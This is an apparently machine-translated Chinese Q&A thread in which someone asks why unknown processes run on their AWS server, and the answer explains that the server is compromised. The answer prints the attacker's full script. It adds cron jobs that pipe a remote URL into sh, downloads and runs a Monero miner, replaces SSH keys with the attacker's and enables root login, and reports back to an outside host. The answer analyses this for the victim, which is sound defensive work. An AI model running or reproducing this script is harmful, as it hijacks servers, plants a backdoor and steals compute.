AWS不必要的腳本

Question

我正在使用aws，最近幾天我看到一些不必要的腳本正在運行。以下是附加的屏幕截圖。

我試圖通過sudo kill -9 {pId}殺死該進程，但無法這樣做。

任何寶貴意見

Answer 1

包裝盒中得到了妥協。

它下載一個腳本到你的服務器，並運行它

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin 

echo "*/2 * * * * curl -L https://r.chanstring.com/api/report?pm=1 | sh" > /var/spool/cron/root 
echo "*/2 * * * * ps auxf | grep -v grep | grep yam || nohup /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr &" >> /var/spool/cron/root 
# echo "*/2 * * * * ps auxf | grep -v grep | grep gg2lady || nohup /opt/gg2lady &" >> /var/spool/cron/root 

if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then 
    mkdir -p ~/.ssh 
    rm -f ~/.ssh/authorized_keys* 
    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq 
    echo "PermitRootLogin yes" >> /etc/ssh/sshd_config 
    echo "RSAAuthentication yes" >> /etc/ssh/sshd_config 
    echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config 
    echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config 
    /etc/init.d/sshd restart 
fi 

if [ ! -f "/opt/yam/yam" ]; then 
    mkdir -p /opt/yam 
    curl -f -L https://r.chanstring.com/api/download/yam -o /opt/yam/yam 
    chmod +x /opt/yam/yam 
    # /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr 
fi 

# if [ ! -f "/opt/gg2lady" ]; then 
# curl -f -L https://r.chanstring.com/api/download/gg2lady_`uname -i` -o /opt/gg2lady 
# chmod +x /opt/gg2lady 
# fi 

pkill gg2lady 

yam=$(ps auxf | grep yam | grep -v grep | wc -l) 
gg2lady=$(ps auxf | grep gg2lady | grep -v grep | wc -l) 
cpu=$(cat /proc/cpuinfo | grep processor | wc -l) 

curl https://r.chanstring.com/api/report?yam=$yam\&cpu=$cpu\&gg2lady=$gg2lady\&arch=`uname -i` 

正如你可以看到它刪除所有SSH密鑰，併爲攻擊者登錄一個新的。

在腳本的最後報告其狀態到 curl https://r.chanstring.com/api/report?yam=$yam\&cpu=$cpu\&gg2lady=$gg2lady\&arch= UNAME -i`

該服務器再這樣他們就可以看到所有損害一次，我認爲

編輯服務器： 域名在巴拿馬註冊。 Whoopsie。我認爲你應該檢查你的服務器，並得到一些關於它的安全性的建議。